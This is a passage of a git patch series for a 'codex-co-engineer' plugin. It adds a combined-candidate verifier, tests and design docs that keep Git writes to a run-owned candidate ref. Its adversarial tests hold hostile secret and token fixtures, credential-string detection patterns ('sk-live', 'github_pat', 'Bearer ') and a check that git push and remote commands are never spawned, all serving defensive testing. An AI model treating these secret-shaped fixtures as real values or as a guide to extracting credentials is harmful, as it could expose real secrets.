COMBINED_SIDE_EFFECT_NONCLAIMS, + ready_requires_complete_composition: true, + incomplete_never_ready: true, + codex_only_final_acceptance: true, + integrated: false, + remote_mutated: false, + gate_a_claimed: false, + imports_server: false, + imports_supervisor: false, + imports_runtime: false, + imports_scheduler: false, + imports_composer_functions: false, + composed_surfaces: capturedFreeze({ + evidence_bundle: 'codex-co-engineer.evidence-bundle.v1', + git_identity: 'codex-co-engineer.git-identity.v1', + scope_verifier: 'codex-co-engineer.scope-verifier.v1', + constrained_verification: CONSTRAINED_VERIFICATION_SCHEMA_ID, + protected_ref_audit: 'codex-co-engineer.protected-ref-audit.v1', + run_api_boundary: RUN_API_BOUNDARY_SCHEMA_ID, + }), + })); +} + +capturedFreeze(parseCombinedCandidateRequestV1); +capturedFreeze(verifyCombinedCandidateV1); +capturedFreeze(describeRunCombinedVerifierV1); diff --git a/plugins/codex-co-engineer/test/r1-run-combined-verifier.test.mjs b/plugins/codex-co-engineer/test/r1-run-combined-verifier.test.mjs new file mode 100644 index 0000000..dc38338 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-combined-verifier.test.mjs @@ -0,0 +1,189 @@ +// P35 combined-candidate verifier focused coverage: P13/P14/P15/P16/P30/P32 +// evidence, incomplete/blocked states, one-parent semantics, and Codex-only +// acceptance. + +import assert from 'node:assert/strict'; +import { readFile } from 'node:fs/promises'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { composeRunOwnedCandidateV1 } from '../mcp/v3/run-candidate-composer.mjs'; +import { + RUN_COMBINED_VERIFIER_SCHEMA_ID, + RUN_COMBINED_VERIFIER_VERSION, + describeRunCombinedVerifierV1, + verifyCombinedCandidateV1, +} from '../mcp/v3/run-combined-verifier.mjs'; +import { + ASSIGNMENT_A, + ASSIGNMENT_B, + addWriterCommit, + composeRequest, + createBaseRepo, + executeVerificationStub, + inspectRepo, + verificationStub, + verifyLane, + verifyRequest, + writerLane, +} from './fixtures/r1-run-candidate-composer-fixtures.mjs'; + +const MODULE_PATH = fileURLToPath(new URL('../mcp/v3/run-combined-verifier.mjs', import.meta.url)); + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value)); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +const verifyOptions = { executeVerification: executeVerificationStub }; + +async function composed(repo, lanes, overrides = {}) { + return composeRunOwnedCandidateV1(composeRequest(repo, lanes, overrides)); +} + +test('combined verifier schema never claims integration or Gate A', () => { + assert.equal(RUN_COMBINED_VERIFIER_SCHEMA_ID, 'codex-co-engineer.run-combined-verifier.v1'); + assert.equal(RUN_COMBINED_VERIFIER_VERSION, 1); + const inventory = describeRunCombinedVerifierV1(); + assert.equal(inventory.codex_only_final_acceptance, true); + assert.equal(inventory.integrated, false); + assert.equal(inventory.incomplete_never_ready, true); + assert.equal(inventory.remote_mutated, false); + assert.equal(inventory.gate_a_claimed, false); + assert.equal(inventory.imports_server, false); + assert.equal(inventory.imports_composer_functions, false); +}); + +test('P35 verifier source does not import server, supervisor, runtime, or scheduler', async () => { + const source = await readFile(MODULE_PATH, 'utf8'); + for (const forbidden of [ + 'run-runtime.mjs', 'run-scheduler.mjs', 'server.mjs', 'supervisor.mjs', + 'mailbox.mjs', 'acp-worker.mjs', 'process-boundary.mjs', 'provider-registry.mjs', + 'run-artifact-bridge.mjs', + ]) { + assert.equal(source.includes(`from './${forbidden}'`), false, forbidden); + } + assert.equal(source.includes('composeRunOwnedCandidateV1'), false); +}); + +test('a complete composed candidate verifies through accepted evidence', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'from-a\n', + }); + const composition = await composed(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + verifyLane(), + ]); + const receipt = await verifyCombinedCandidateV1( + verifyRequest(repo, composition), verifyOptions, + ); + assertFrozenTree(receipt); + assert.equal(receipt.status, 'verified'); + assert.equal(receipt.ready_for_codex_review, true); + assert.equal(receipt.codex_only_final_acceptance, true); + assert.equal(receipt.integrated, false); + assert.equal(receipt.parent_count, 1); + assert.equal(receipt.verification_executed, true); + assert.equal(receipt.api_boundary_status, 'ready'); + assert.equal(inspectRepo(repo).main, repo.baseSha); + assert.equal(inspectRepo(repo).remotes, ''); +}); + +test('blocked composition stays blocked and is never ready', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const composition = await composed(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + writerLane(ASSIGNMENT_B, ['docs/**'], 'rejected'), + ]); + const receipt = await verifyCombinedCandidateV1( + verifyRequest(repo, composition), verifyOptions, + ); + assert.equal(receipt.status, 'blocked'); + assert.equal(receipt.ready_for_codex_review, false); + assert.equal(receipt.verification_executed, false); +}); + +test('diagnostic incomplete_candidate can never receive ready_for_codex_review', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const composition = await composed(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + writerLane(ASSIGNMENT_B, ['docs/**'], 'unresolved'), + ], { allow_diagnostic_partial_candidate: true }); + const receipt = await verifyCombinedCandidateV1( + verifyRequest(repo, composition), verifyOptions, + ); + assert.equal(receipt.status, 'incomplete_candidate'); + assert.equal(receipt.incomplete, true); + assert.equal(receipt.ready_for_codex_review, false); + assert.equal(receipt.codex_only_final_acceptance, true); +}); + +test('missing P16 evidence blocks ready even when composition is complete', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const composition = await composed(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ]); + const request = verifyRequest(repo, composition); + delete request.verification; + const receipt = await verifyCombinedCandidateV1(request, verifyOptions); + assert.equal(receipt.status, 'blocked'); + assert.equal(receipt.ready_for_codex_review, false); + assert.equal(receipt.verification_executed, false); +}); + +test('failing P16 evidence fails closed', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const composition = await composed(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ]); + const receipt = await verifyCombinedCandidateV1(verifyRequest(repo, composition), { + executeVerification: async () => verificationStub('fail'), + }); + assert.equal(receipt.status, 'failed'); + assert.equal(receipt.ready_for_codex_review, false); +}); + +test('mismatched composition identity fails closed', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const composition = await composed(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ]); + const request = verifyRequest(repo, composition); + request.identity = { ...request.identity, run_id: 'run-other-identity-99' }; + const error = await errorOf(() => verifyCombinedCandidateV1(request, verifyOptions)); + assert.equal(error.code, 'identity_mismatch'); +}); From 0db7036ecb74fc60daff225291eea9f232ed0c3f Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Wed, 26 Aug 2026 00:22:12 +0000 Subject: [PATCH 140/151] test(v3): prove P35 hostiles, blocked states, and remote denial Cover proxy and accessor fail-closed paths, conflict non-repair, spawn command allowlisting, and refusal to upgrade incomplete or blocked candidates to ready_for_codex_review. --- ...un-candidate-composer-adversarial.test.mjs | 138 ++++++++++++++++++ ...run-combined-verifier-adversarial.test.mjs | 108 ++++++++++++++ 2 files changed, 246 insertions(+) create mode 100644 plugins/codex-co-engineer/test/r1-run-candidate-composer-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-combined-verifier-adversarial.test.mjs diff --git a/plugins/codex-co-engineer/test/r1-run-candidate-composer-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-candidate-composer-adversarial.test.mjs new file mode 100644 index 0000000..448ace9 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-candidate-composer-adversarial.test.mjs @@ -0,0 +1,138 @@ +// P35 composer adversarial coverage: hostile containers, remote mutation, +// protected-ref writes, credential leaks, and conflict-repair attempts. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + composeRunOwnedCandidateV1, + parseRunCandidateComposeRequestV1, +} from '../mcp/v3/run-candidate-composer.mjs'; +import { GIT_EXECUTABLE } from '../mcp/v3/git-identity.mjs'; +import { + ASSIGNMENT_A, + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_TOKEN, + addWriterCommit, + composeRequest, + countingProxy, + createBaseRepo, + inspectRepo, + trapTotal, + writerLane, +} from './fixtures/r1-run-candidate-composer-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertContentFree(error) { + assert.doesNotMatch(error.message, /sk-live/u); + assert.doesNotMatch(error.message, /github_pat/u); + assert.doesNotMatch(error.message, /\/tmp\/secret-repo/u); + assert.doesNotMatch(error.message, /Bearer /u); +} + +test('proxy requests fail closed without traps', async () => { + const proxied = countingProxy({ schema: 'x' }); + const error = await errorOf(() => parseRunCandidateComposeRequestV1(proxied.proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.equal(trapTotal(proxied.counts), 0); + assertContentFree(error); +}); + +test('unknown keys, missing keys, and accessors fail closed', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const base = composeRequest(repo, [writerLane(ASSIGNMENT_A, ['src/**'], 'missing')]); + assert.equal((await errorOf(() => parseRunCandidateComposeRequestV1({ ...base, merge: true }))).code, + 'unknown_key'); + const missing = { ...base }; + delete missing.lanes; + assert.equal((await errorOf(() => parseRunCandidateComposeRequestV1(missing))).code, 'missing_key'); + const accessor = { ...base }; + Object.defineProperty(accessor, 'version', { + enumerable: true, get() { return HOSTILE_SECRET; }, + }); + const error = await errorOf(() => parseRunCandidateComposeRequestV1(accessor)); + assert.equal(error.code, 'accessor_property_denied'); + assertContentFree(error); +}); + +test('smuggled ready_for_codex_review and remote operations are unknown keys', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const base = composeRequest(repo, [writerLane(ASSIGNMENT_A, ['src/**'], 'missing')]); + for (const extra of ['ready_for_codex_review', 'push', 'create_pr', 'rebase', 'tag']) { + const error = await errorOf(() => parseRunCandidateComposeRequestV1({ ...base, [extra]: true })); + assert.equal(error.code, 'unknown_key', extra); + } +}); + +test('composer spawn never issues push merge rebase or remote commands', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const { spawn: nodeSpawn } = await import('node:child_process'); + const seen = []; + const wrapped = (executable, args, options) => { + seen.push([executable, ...args]); + return nodeSpawn(executable, args, options); + }; + const receipt = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ]), { spawn: wrapped }); + assert.equal(receipt.status, 'composed'); + const flat = seen.flat().join('\0'); + assert.equal(flat.includes('\0push\0') || flat.endsWith('\0push') || flat.startsWith('push\0'), false); + for (const command of ['push', 'fetch', 'merge', 'rebase', 'pull', 'remote']) { + assert.equal(seen.some((args) => args.includes(command)), false, command); + } + assert.equal(seen.every((args) => args[0] === GIT_EXECUTABLE || args[0] !== undefined), true); +}); + +test('hostile secrets in repository paths never appear in typed errors', async () => { + const error = await errorOf(() => parseRunCandidateComposeRequestV1({ + schema: 'codex-co-engineer.run-candidate-composer.v1', + version: 1, + identity: { + repository_path: HOSTILE_PATH, + base_sha: '0123456789abcdef0123456789abcdef01234567', + run_id: 'run-candidate-01', + assignment_id: ASSIGNMENT_A, + }, + expected_base_ref: 'refs/heads/main', + expected_protected_refs: [{ + ref: 'refs/heads/main', sha: '0123456789abcdef0123456789abcdef01234567', + }], + lanes: [writerLane(ASSIGNMENT_A, ['src/**'], 'missing')], + token: HOSTILE_TOKEN, + })); + assert.equal(error.code, 'unknown_key'); + assertContentFree(error); + assert.equal(error.message.includes(HOSTILE_SECRET), false); +}); + +test('failed composition leaves HEAD main and remotes untouched', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const before = inspectRepo(repo); + const error = await errorOf(() => composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'), + ]))); + assert.ok(['unverified_delta_denied', 'git_execution_failed'].includes(error.code)); + const after = inspectRepo(repo); + assert.equal(after.head, before.head); + assert.equal(after.main, before.main); + assert.equal(after.remotes, ''); + assert.equal(after.candidate, null); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-combined-verifier-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-combined-verifier-adversarial.test.mjs new file mode 100644 index 0000000..9aaa473 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-combined-verifier-adversarial.test.mjs @@ -0,0 +1,108 @@ +// P35 combined verifier adversarial coverage: hostile containers, identity +// drift, incomplete-ready smuggling, and remote-mutation denial. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { composeRunOwnedCandidateV1 } from '../mcp/v3/run-candidate-composer.mjs'; +import { + parseCombinedCandidateRequestV1, + verifyCombinedCandidateV1, +} from '../mcp/v3/run-combined-verifier.mjs'; +import { + ASSIGNMENT_A, + HOSTILE_SECRET, + HOSTILE_TOKEN, + addWriterCommit, + composeRequest, + countingProxy, + createBaseRepo, + executeVerificationStub, + trapTotal, + verifyRequest, + writerLane, +} from './fixtures/r1-run-candidate-composer-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertContentFree(error) { + assert.doesNotMatch(error.message, /sk-live/u); + assert.doesNotMatch(error.message, /github_pat/u); + assert.doesNotMatch(error.message, /\/tmp\/secret-repo/u); +} + +test('proxy verifier requests fail closed without traps', async () => { + const proxied = countingProxy({ schema: 'x' }); + const error = await errorOf(() => parseCombinedCandidateRequestV1(proxied.proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.equal(trapTotal(proxied.counts), 0); + assertContentFree(error); +}); + +test('unknown keys and accessors fail closed without leaking secrets', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const composition = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ])); + const base = verifyRequest(repo, composition); + assert.equal((await errorOf(() => parseCombinedCandidateRequestV1({ + ...base, create_pr: true, + }))).code, 'unknown_key'); + const accessor = { ...base }; + Object.defineProperty(accessor, 'version', { + enumerable: true, get() { return HOSTILE_TOKEN; }, + }); + const error = await errorOf(() => parseCombinedCandidateRequestV1(accessor)); + assert.equal(error.code, 'accessor_property_denied'); + assertContentFree(error); + assert.equal(error.message.includes(HOSTILE_SECRET), false); +}); + +test('proxy options fail closed without invoking injected seams', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const composition = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ])); + const proxied = countingProxy({ executeVerification: executeVerificationStub }); + const error = await errorOf(() => verifyCombinedCandidateV1( + verifyRequest(repo, composition), proxied.proxy, + )); + assert.equal(error.code, 'proxy_denied'); + assert.equal(trapTotal(proxied.counts), 0); +}); + +test('smuggling ready_for_codex_review onto a blocked composition cannot upgrade it', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const composition = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'missing'), + ])); + assert.equal(composition.status, 'blocked'); + const forged = { + ...composition, + ready_for_codex_review: true, + status: 'composed', + candidate_sha: repo.baseSha, + parent_count: 1, + }; + const error = await errorOf(() => parseCombinedCandidateRequestV1( + verifyRequest(repo, forged), + )); + assert.ok(['invalid_format', 'invalid_type'].includes(error.code)); +}); From 35bf91b277d70a2b614648ab40a85a86df5af798 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Wed, 26 Aug 2026 00:22:12 +0000 Subject: [PATCH 141/151] docs(run-candidate-composition): specify deterministic run-owned composition Record the P35 composer and combined-verifier contract: binary-safe manifest order, one-parent candidate ref, no conflict repair, and Codex as the sole final acceptance authority. --- docs/run-candidate-composition.md | 125 ++++++++++++++++++++++++++++++ 1 file changed, 125 insertions(+) create mode 100644 docs/run-candidate-composition.md diff --git a/docs/run-candidate-composition.md b/docs/run-candidate-composition.md new file mode 100644 index 0000000..fefb2d8 --- /dev/null +++ b/docs/run-candidate-composition.md @@ -0,0 +1,125 @@ +# Run-owned candidate composition (P35) + +P35 deterministically composes frozen verified child deltas into one +run-owned, single-parent, non-authoritative candidate and verifies that +candidate through accepted P13/P14/P15/P16/P30/P32 evidence. It does not +own the server, supervisor, worker, provider, registry, runtime, +scheduler, artifact-bridge, or release surfaces. Codex retains sole final +acceptance and integration authority. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/run-candidate-composer.mjs` +- `plugins/codex-co-engineer/mcp/v3/run-combined-verifier.mjs` +- `plugins/codex-co-engineer/test/r1-run-candidate-composer.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-candidate-composer-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-combined-verifier.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-combined-verifier-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-run-candidate-composer-fixtures.mjs` +- this document + +## Composition + +```js +composeRunOwnedCandidateV1(request, options?) +``` + +The request names the composer schema/version, a credential-free run/base +identity, the expected base ref, declared protected/default refs, and 1–8 +lanes in **manifest order**. Optional +`allow_diagnostic_partial_candidate` is a permission, never an obligation. + +Eligible inputs are frozen, already-verified writer deltas. Each eligible +child head SHA is frozen, a binary-safe tree delta is computed from the +immutable run base, and eligible deltas are applied in manifest order onto +a disposable index. Application uses Git plumbing (`read-tree`, +`update-index --index-info`, `write-tree`, `commit-tree`, `update-ref`) +so NUL bytes and other non-text payloads survive without recoding. + +Before application the composer revalidates: + +- path ownership against the lane `write_scope` and sibling writer scopes +- Git policy: symlink, submodule, rename, copy, and mode-change deltas + are rejected +- P28 `compose_candidate_non_authoritative` authority on + `refs/codex-co-engineer/runs//candidate` +- P30 live protected/default refs against the declared identities + +A patch that does not apply cleanly, or two writers that claim the same +path, fails closed. The platform does not merge, rebase, three-way apply, +or semantically repair conflicts. + +The result is **one** candidate with **one** parent: the run's immutable +base SHA. The only ref written is +`refs/codex-co-engineer/runs//candidate`. HEAD, the default +branch, tags, remotes, and user-protected refs are not mutated. Restart of +the same frozen deltas is idempotent: the same tree, parent, author, and +message produce the same candidate SHA. + +## Completeness + +| Lane | Missing, rejected, or unresolved | Effect | +| --- | --- | --- | +| Required writer (`implement` / `writer`) | yes | blocks a complete candidate | +| Optional/advisory (`review` or `verify` / `read_only`) | yes | does not block | + +A required writer that is rejected or unresolved blocks `composed`. When +`allow_diagnostic_partial_candidate` is true, verified writers may still +be applied, but the receipt is `incomplete_candidate` and +`ready_for_codex_review` stays false. Absent or false diagnostic +authorization keeps complete-only behavior: no candidate ref is written. + +The composer never sets `ready_for_codex_review`. Diagnostic partial +output is `incomplete_candidate` and can never receive that authorization. + +## Combined verification + +```js +verifyCombinedCandidateV1(request, options?) +``` + +The verifier consumes a composition receipt as values and verifies the +candidate through accepted evidence: + +| Surface | Owner | Use here | +| --- | --- | --- | +| Evidence records | P13 `evidence-bundle.mjs` | `parseVerifiedFactV1` / `parseEvidenceDiscrepancyV1` | +| Git identity | P14 `git-identity.mjs` | `verifyGitIdentityV1` | +| Scope / read-only / merge-commit | P15 `scope-verifier.mjs` | `verifyScopeV1` | +| Constrained trusted-policy execution | P16 `constrained-verification-runner.mjs` | injected `executeVerification` | +| Live protected-ref audit | P30 `protected-ref-audit.mjs` | `auditProtectedRefsV1` | +| Run API boundary | P32 `run-api-boundary.mjs` | `projectRunApiBoundaryV1` of already-produced P30/P31 receipts | +| Git authority | P28 `git-authority.mjs` | candidate-ref namespace and compose operation | + +`ready_for_codex_review` is true only when composition is complete +(`composed`, one parent), P14/P15/P30 verify, P32 projects `ready`, and +P16 reports an unchanged passing execution. Incomplete diagnostic +candidates, blocked required lanes, missing P16 evidence, and any failed +audit remain not ready. Codex still owns acceptance: a verified receipt +is evidence for review, not integration. + +## Receipts + +Composer and verifier receipts are detached and deeply frozen. They name +exact run/assignment identity, the candidate ref, parent SHA/count, +applied and blocked lanes, checks, P13 facts, and an all-false +side-effect nonclaim map. They never echo credentials, repository paths, +URLs, provider text, or hostile refs. `integrated`, `remote_mutated`, +`push_performed`, `merge_performed`, `pr_created`, and `tag_created` stay +false. + +## Non-goals + +No server, supervisor, worker, provider, registry, runtime, scheduler, or +artifact-bridge wiring. No merge, rebase, push, PR, tag, release, or +protected/default-ref mutation. No conflict repair. No Gate A or version +claim. Cleanup of the candidate ref is not automatic. + +## Testing + +``` +node --no-warnings --test test/r1-run-candidate-composer.test.mjs \ + test/r1-run-candidate-composer-adversarial.test.mjs \ + test/r1-run-combined-verifier.test.mjs \ + test/r1-run-combined-verifier-adversarial.test.mjs +``` From c5f653f9fef968bc20257b9d3b7d035b3ec6801a Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Wed, 26 Aug 2026 00:46:28 +0000 Subject: [PATCH 142/151] fix(v3): revalidate candidate_ref through P28 same-run authority Close Luna p35-b1. Combined verification binds composition.candidate_ref to accepted P28 run-owned candidate-ref authority and the same run/receipt identity instead of a permissive string check. Unauthorized refs return frozen failed evidence and never verified or ready. --- docs/run-candidate-composition.md | 27 +++- .../mcp/v3/run-combined-verifier.mjs | 140 +++++++++++++++++- .../r1-run-candidate-composer-fixtures.mjs | 22 +++ ...run-combined-verifier-adversarial.test.mjs | 74 +++++++++ .../test/r1-run-combined-verifier.test.mjs | 37 +++++ 5 files changed, 291 insertions(+), 9 deletions(-) diff --git a/docs/run-candidate-composition.md b/docs/run-candidate-composition.md index fefb2d8..2b15ac6 100644 --- a/docs/run-candidate-composition.md +++ b/docs/run-candidate-composition.md @@ -89,14 +89,29 @@ candidate through accepted evidence: | Constrained trusted-policy execution | P16 `constrained-verification-runner.mjs` | injected `executeVerification` | | Live protected-ref audit | P30 `protected-ref-audit.mjs` | `auditProtectedRefsV1` | | Run API boundary | P32 `run-api-boundary.mjs` | `projectRunApiBoundaryV1` of already-produced P30/P31 receipts | -| Git authority | P28 `git-authority.mjs` | candidate-ref namespace and compose operation | +| Git authority | P28 `git-authority.mjs` | exact same-run candidate-ref authority | + +The verifier revalidates `composition.candidate_ref` through accepted P28 +run-owned candidate-ref authority bound to the same run and composition +receipt identity. Regex or presence is not authority. The only accepted +name is `refs/codex-co-engineer/runs//candidate` from +`expectedCandidateRefV1` / `isRunOwnedCandidateRefV1` plus a +`compose_candidate_non_authoritative` verdict whose projected evidence +repeats that same run/assignment/base. Unauthorized names include +`refs/heads/main`, other heads, tags, remotes, notes, protected and +default refs, another run's candidate, malformed, nested, escaped, +traversal-like, and symbolic or aliased refs. Missing or contradictory +P28 evidence fails closed. An unauthorized ref never returns +`verified` or `ready_for_codex_review`; the receipt is deterministic +frozen `failed` evidence with no Git or remote mutation. `ready_for_codex_review` is true only when composition is complete -(`composed`, one parent), P14/P15/P30 verify, P32 projects `ready`, and -P16 reports an unchanged passing execution. Incomplete diagnostic -candidates, blocked required lanes, missing P16 evidence, and any failed -audit remain not ready. Codex still owns acceptance: a verified receipt -is evidence for review, not integration. +(`composed`, one parent), the candidate ref is the exact P28 same-run +binding, P14/P15/P30 verify, P32 projects `ready`, and P16 reports an +unchanged passing execution. Incomplete diagnostic candidates, blocked +required lanes, missing P16 evidence, and any failed audit remain not +ready. Codex still owns acceptance: a verified receipt is evidence for +review, not integration. ## Receipts diff --git a/plugins/codex-co-engineer/mcp/v3/run-combined-verifier.mjs b/plugins/codex-co-engineer/mcp/v3/run-combined-verifier.mjs index eb5478b..d1751a6 100644 --- a/plugins/codex-co-engineer/mcp/v3/run-combined-verifier.mjs +++ b/plugins/codex-co-engineer/mcp/v3/run-combined-verifier.mjs @@ -3,11 +3,13 @@ // `diagnostic_partial_candidate_never_ready`, `codex_only_final_acceptance`). // // Additive v3 module. It verifies a run-owned candidate through accepted -// P13/P14/P15/P16/P30/P32 evidence. It never repairs conflicts, never +// P13/P14/P15/P16/P28/P30/P32 evidence. It never repairs conflicts, never // integrates, never mutates remotes or protected refs, and never claims // Codex acceptance. Incomplete diagnostic output stays // incomplete_candidate. Required missing, rejected, or unresolved writer -// lanes block ready_for_codex_review. +// lanes block ready_for_codex_review. composition.candidate_ref is +// revalidated through accepted P28 run-owned candidate-ref authority and +// same-run receipt identity, not a permissive string or regex check. // // This module does not import or own the server, supervisor, worker, // provider, registry, runtime, scheduler, artifact-bridge, or composer @@ -27,6 +29,21 @@ import { parseEvidenceDiscrepancyV1, parseVerifiedFactV1, } from './evidence-bundle.mjs'; +import { + ACTOR_VALUES, + CANDIDATE_REF_LEAF, + CANDIDATE_REF_NAMESPACE, + GIT_AUTHORITY_POLICY_V1, + GIT_AUTHORITY_SCHEMA_ID, + GIT_AUTHORITY_VERSION, + bindAuthorityIdentityV1, + classifyGitOperationV1, + classifyRefV1, + expectedCandidateRefV1, + isRunOwnedCandidateRefV1, + parseGitAuthorityPolicyV1, + projectAuthorityEvidenceV1, +} from './git-authority.mjs'; import { verifyGitIdentityV1 } from './git-identity.mjs'; import { capturedFreeze, @@ -82,6 +99,7 @@ export const COMBINED_STATUSES = capturedFreeze([ export const COMBINED_CHECKS = capturedFreeze([ 'request_quarantine', 'composition_receipt', + 'p28_candidate_ref_authority', 'p14_git_identity', 'p15_scope', 'p16_constrained_verification', @@ -344,6 +362,8 @@ function parseComposition(input, identity, pathLabel) { run_id: runId, assignment_id: assignmentId, base_sha: baseSha, + // Structural string only. Same-run P28 authority is revalidated in + // verifyCombinedCandidateV1 before any Git inspection or ready claim. candidate_ref: ownString(object, 'candidate_ref', pathLabel), candidate_sha: candidateSha, parent_sha: parentSha, @@ -533,6 +553,114 @@ function emitDiscrepancy(id, request, factIds, sequence) { }); } +function authorityIdentityInput(request) { + return { + repository_path: request.identity.repository_path, + base_sha: request.identity.base_sha, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + }; +} + +function revalidateCandidateRefAuthority(request) { + const identityInput = authorityIdentityInput(request); + let expected; + let boundIdentity; + try { + parseGitAuthorityPolicyV1(GIT_AUTHORITY_POLICY_V1); + boundIdentity = bindAuthorityIdentityV1(identityInput); + expected = expectedCandidateRefV1({ run_id: boundIdentity.run_id }); + } catch { + return { authorized: false, expected: null, evidence: null }; + } + + const candidateRef = request.composition.candidate_ref; + const sameRunOwned = isRunOwnedCandidateRefV1(candidateRef, boundIdentity.run_id) + && candidateRef === expected + && candidateRef === `${CANDIDATE_REF_NAMESPACE}${boundIdentity.run_id}/${CANDIDATE_REF_LEAF}` + && boundIdentity.run_id === request.identity.run_id + && boundIdentity.run_id === request.composition.run_id + && boundIdentity.assignment_id === request.identity.assignment_id + && boundIdentity.assignment_id === request.composition.assignment_id + && boundIdentity.base_sha === request.identity.base_sha + && boundIdentity.base_sha === request.composition.base_sha; + + let classified; + let verdict; + let evidence; + try { + classified = classifyRefV1({ ref: candidateRef, identity: identityInput }); + verdict = classifyGitOperationV1({ + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + actor: ACTOR_VALUES[1], + operation: 'compose_candidate_non_authoritative', + identity: identityInput, + ref: candidateRef, + history: { parent_counts: [1] }, + }); + evidence = projectAuthorityEvidenceV1(verdict, { + fact_id: 'git-identity', + discrepancy_id: 'candidate-ref-authority', + sequence: 0, + }); + } catch { + return { authorized: false, expected, evidence: null }; + } + + const classBound = classified.ref_class === 'platform_run_owned' + && classified.code === 'protected_ref_write_denied' + && classified.protected === true; + const operationBound = verdict.verdict === 'allowed' + && verdict.ref_class === 'platform_run_owned' + && verdict.code === 'authority_ok' + && verdict.run_id === boundIdentity.run_id + && verdict.assignment_id === boundIdentity.assignment_id + && verdict.base_sha === boundIdentity.base_sha; + const fact = evidence.facts[0]; + const evidenceBound = fact !== undefined + 